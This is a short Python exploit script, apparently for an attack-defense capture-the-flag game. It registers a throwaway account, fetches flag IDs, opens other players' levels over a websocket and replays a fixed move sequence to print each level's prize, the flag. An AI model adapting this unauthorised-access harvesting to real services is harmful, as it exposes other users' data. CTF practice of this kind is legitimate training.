import json
from secrets import token_hex
import sys
import requests
from requests.cookies import get_cookie_header
from websockets.sync.client import connect


def connect_with_auth(sess: requests.Session, url):
    cookie_value = get_cookie_header(sess.cookies, requests.Request("GET", url.replace("ws://", "http://")))
    return connect(url, additional_headers={"Cookie": cookie_value})


ip = sys.argv[1]

sess = requests.Session()

r = sess.post(f"http://{ip}:5874/api/auth/register", json={
    "username": token_hex(8),
    "password": token_hex(8)
})
assert r.ok, r.text

r = sess.get("http://localhost/api/client/attack_data/")
assert r.ok, r.text

flag_ids = r.json()["test_basic_service"]["host.docker.internal"]

level_names = [json.loads(s)["level_name"] for s in flag_ids]


def get_one(name):
    r = sess.get(f"http://{ip}:5874/api/user/level", params={"name": name})
    assert r.ok, r.text
    level_id = r.json()["id"]

    with connect_with_auth(sess, f"ws://{ip}:5874/api/user/level/{level_id}/play") as sock:
        sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
        for _ in range(4):
            sock.send(json.dumps({"type": "move", "option": {"direction": "right"}}))
        for _ in range(4):
            sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
        for _ in range(4):
            sock.send(json.dumps({"type": "move", "option": {"direction": "left"}}))
        while True:
            m = json.loads(sock.recv(1))
            if m["type"] == "level_complete":
                print(m["option"]["prize"])
                break


for name in level_names:
    try:
        get_one(name)
    except Exception as e:
        print(name, e)